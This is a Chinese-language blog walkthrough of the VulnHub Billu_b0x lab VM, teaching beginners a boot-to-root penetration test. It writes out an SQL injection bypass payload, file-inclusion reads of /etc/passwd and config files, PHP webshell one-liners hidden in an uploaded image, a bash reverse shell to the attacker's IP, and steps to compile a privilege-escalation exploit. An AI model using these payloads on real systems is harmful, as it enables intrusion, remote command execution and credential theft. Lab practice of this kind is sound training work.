VulnHub滲透實戰Billu_b0x

FLy_鵬程萬里發表於2018-06-06

簡介

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映象,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考oscp人員,也會利用vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

官網:https://www.vulnhub.com/

image.png

參考了一些國外設計靶場一般分為幾個套路

1.資訊收集

2.漏洞挖掘

3.漏洞利用

4.許可權提升

5.內網資訊收集

下載連結

https://download.vulnhub.com/billu/Billu_b0x.zip

靶機說明

虛擬機器難度中等,使用ubuntu(32位),其他軟體包有:

PHP

apache

MySQL

目標

Boot to root:從Web應用程式進入虛擬機器,並獲得root許可權。

執行環境

靶機:使用VMWare開啟虛機,網路連線方式設定為net,靶機自動獲取IP。

攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。

資訊收集

ip發現

啟動Billu_b0x虛擬機器,由於虛機網路設定為net模式,使用Nmap掃描VMware Network Adapter VMnet8網路卡的NAT網段C段IP,即可找到虛機IP,命令:

nmap -sP 192.168.64.1/24

image.png

獲得靶機ip 192.168.64.161

埠和服務識別

使用nmap掃描1-65535全埠,並做服務識別和深度掃描(加-A引數),掃描結果儲存到txt檔案,命令:

nmap -p1-65535 -A 192.168.64.161 -oN billu.txt

image.png

發現目標主機埠和服務如下:

埠 協議 後端服務

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22

進入web首頁:發現使用者名稱口令輸入框,並提示“Show me your SQLI skills”。

image.png

漏洞挖掘

漏洞挖掘思路:

(1) SQL隱碼攻擊:首頁提示注入,想辦法注入成功。

(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;

(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;

(4) 手動挖掘:暴破的新頁面,通過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;

(5) 檢視每個網頁的原始碼,看是否有提示;。

(6) 如得到使用者名稱,密碼,嘗試登入ssh,如能連線上,無需反彈shell了。

步驟1:測試首頁SQL隱碼攻擊

(1) 在使用者名稱輸入框輸入admin' or 'a'='a -- 密碼隨意,發現無法注入,出現js彈框Try again:

image.png

(2) 使用sqlmap進行post注入測試,命令:

sqlmap.py -u “http://192.168.64.161” –data “un=admin&ps=admin&login=let%27s+login” –level 3 –dbms mysql

image.png

sqlmap注入檢測完成,結果無法注入,目前不知道系統對注入的過濾規則是什麼,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz注入,看看暴破目錄。

步驟2:windows使用DirBuster暴破目錄,同時使用kali Linux的dirb暴破,為得到更多的暴破結果,並減少暴破時間:

得到頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy依次訪問:

image.png

image.png

步驟3:利用檔案包含漏洞獲取php原始碼、passwd檔案

(1) 訪問test.php:頁面提示file引數為空,需要提供file引數

image.png

測試檔案包含:http://192.168.64.161?file=/etc/passwd 發現無法包含,跳轉會首頁。

image.png

(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變更為post請求,檔案包含成功,獲得passwd檔案。

使用hackerbar post資料,可下載passwd檔案:

image.png

使用burpsuit中選擇Change request method,將get請求轉換為post請求,獲得passwd檔案成功:

image.png

image.png

(3) 通過同樣檔案包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等檔案,後面可以訪問檔案的同時,審計檔案的原始碼。

image.png

(4) 檢視passwd檔案,發現1個id 1000的賬號ica,ssh連線的使用者名稱可以是ica或root:

image.png

步驟4:訪問add.php、in.php頁面和審計程式碼

image.png

add.php是一個上傳介面,但是功能無法使用,檢視原始碼檔案發現只是個頁面,沒有後臺處理程式碼。in.php是php info資訊。

步驟5:檢視c.php原始碼

這是資料庫連線檔案,發現mysql連線使用者名稱密碼:

使用者名稱:billu

密碼:b0x_billu

資料庫名:ica_lab

image.png

步驟6:通過得到的mysql密碼登入phpmyadmin失敗

(1) 通過dirb暴破出/phpmy目錄,訪問該目錄到phpmyadmin登入頁面:

image.png

使用mysql密碼嘗試登入phpmyadmin:可是無法登入。目前得到一個ssh使用者是ica,mysql連線賬號billu和密碼b0x_billu,嘗試登入ssh和phpmyadmin都失敗。

目前SQL隱碼攻擊繞過沒有成功,得到的mysql連線密碼無法登入phpmyadmin。

初步推測虛擬機器故障:mysql沒有正常啟動,稍後打算單使用者模式進入Ubuntu排查。

步驟7:繼續暴破phpmy目錄,檔案包含phpmyadmin配置檔案

(1) phpmyadmin的預設的配置檔案是:config.inc.php。需要猜測路徑,通過URL猜測路徑預設在/var/www/phpmy下面。

(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,通過檔案包含,讀取config.inc.php檔案,Hackbar的獲取方法:

image.png

image.png

在配置檔案中發現root密碼:roottoor

(3) Burpsuit的獲取方法:

image.png

步驟8:使用xshell ssh登入root賬號,完成實驗

image.png

步驟9:排查mysql故障

至此已經獲得root許可權,但是之前的phpmyadmin無法登入問題,懷疑mysql故障,root登入後,檢視mysql狀態為:mysql stop/waiting,推測mysql被之前的高執行緒目錄暴破、掃描導致故障,嘗試重啟mysql失敗,決定重新安裝虛擬機器。

image.png

虛機重新安裝後,ssh登入,檢視mysql執行狀態正常,但是新虛機的IP變成:192.168.64.162。

image.png

步驟10:回到步驟6,通過得到的mysql密碼登入phpmyadmin

使用者名稱:billu,密碼:b0x_billu,登入成功。

image.png

ica_lab資料庫的auth表中,找到web登入的使用者名稱:biLLu,密碼:hEx_it。

image.png

獲取shell

步驟11:登入index首頁,並獲得cmd shell和反彈shell

(1) 使用web密碼登入首頁,大小寫必須一樣。

image.png

登入後是賬號管理介面,賬號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人一樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。

兩個賬號的頭像圖片地址,在之前暴破出來:http://192.168.64.162/uploaded_images/

image.png

(2) 點選add user進入新增賬號介面,這是一個圖片上傳,思路是利用圖片上傳和檔案包含獲得shell。

檢視之前test檔案包含獲得的panel.php原始碼,發現panel.php存在本地檔案包含漏洞:

image.png

下載一張http://192.168.64.162/uploaded_images/中的圖片jack.php,文字編輯器開啟,在檔案中間或末尾加入一句話cmd命令馬<?php system($_GET['cmd']); ?> 將檔案上傳成功。

image.png

(3) 使用burp執行命令:post請求url中加入執行命令的引數:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue

成功執行命令cat /etc/passwd;ls

image.png

(4) 用bash反彈shell

命令:echo “bash -i >& /dev/tcp/192.168.64.1/4444 0>&1″ | bash

需要將命令url編碼:

image.png

在post的url中傳送命令:

image.png

nc接收反彈shell成功:

image.png

步驟12:找一個可寫許可權目錄,寫入菜刀馬

檔案上傳目錄uploaded_images為寫許可權目錄,進入該目錄,寫一個菜刀馬:echo '<?php eval($_POST['123456']);?>' >> caidao.php

image.png

菜刀連線成功,方便傳檔案。

image.png

提升許可權

步驟13:檢視核心、系統版本,尋找提權exp

(1) 檢視系統核心版本,命令uanme -acat /etc/issue

image.png

(2) 下載Ubuntu著名的本地提權漏洞exp:

https://www.exploit-db.com/exploits/37292/

image.png

步驟14:編譯、提權

(1) 賦予執行許可權

chmod 777 37292.c

(2) 編譯exp

gcc 37292.c -o exp

(3) 執行exp,提權至root

image.png

總結

正常的思路有3條路線可以突破:

思路1 構造注入:從test的檔案包含獲得index.php原始碼,原始碼中可檢視到過濾sql的方法,針對性構造sql注入,登入後獲取shell再提權。

(1) 審計index.php原始碼,發現以下過濾規則:

$uname=str_replace('\'','',urldecode($_POST['un']));

$pass=str_replace('\'','',urldecode($_POST['ps']));

str_replace的作用是將字串\’ 替換為空,因此構造SQL隱碼攻擊登入payload時,必須含有\’字串,否則會報錯。urldecode的作用是將輸入解碼。

(2) 常見的利用注入登入的payload是’ or 1=1 — 修改這個在最後增加\’,str_replace會將這個\’替換為空。

使用php線上除錯工具,測試如下:

image.pngimage.png

(3) 注入成功,payload是’ or 1=1 — \’

image.png

後面獲取shell方法和上面實驗相同。

思路2:暴破出phpmyadmin,檔案包含從c.php獲得mysql密碼,登入phpmyadmin,再獲取shell。

思路3:檔案包含所有有許可權檢視的配置檔案,從phpmyadmin配置檔案獲得root密碼,然後ssh登入。該過程儘管mysql故障,也可以完成。

踩到的坑

(1) mysql被高執行緒目錄暴破和注入當機:導致phpmyadmin有正確密碼但無法登入,耗費較長時間。這是意外故障。因為之前的2個工具同時目錄暴破、sqlmap注入等執行緒過高,導致mysql死了。

(2) test.php檔案包含漏洞利用,get不行,改為post試試。包含成功後,要把各個頁面的原始碼拿下來審計。

(3) index.php的SQL隱碼攻擊花費不少時間,後來發現,即使不用sql注入,也有其他道路可以完成,通過phpmyadmin登入,繞過了注入。

(4) panel.php的檔案包含漏洞,如果不認真關注原始碼,難以發現。使用test.php的檔案包含,沒能觸發shell利用。

(5) 檔案上傳+檔案包含拿shell是靶機常用的方式,遇到兩個漏洞,可以熟練拿shell。

(6) 提權方法可以多關注主要的配置檔案、資料庫連線檔案、使用者的檔案;也可以利用Ubuntu已知漏洞本地提權。

相關文章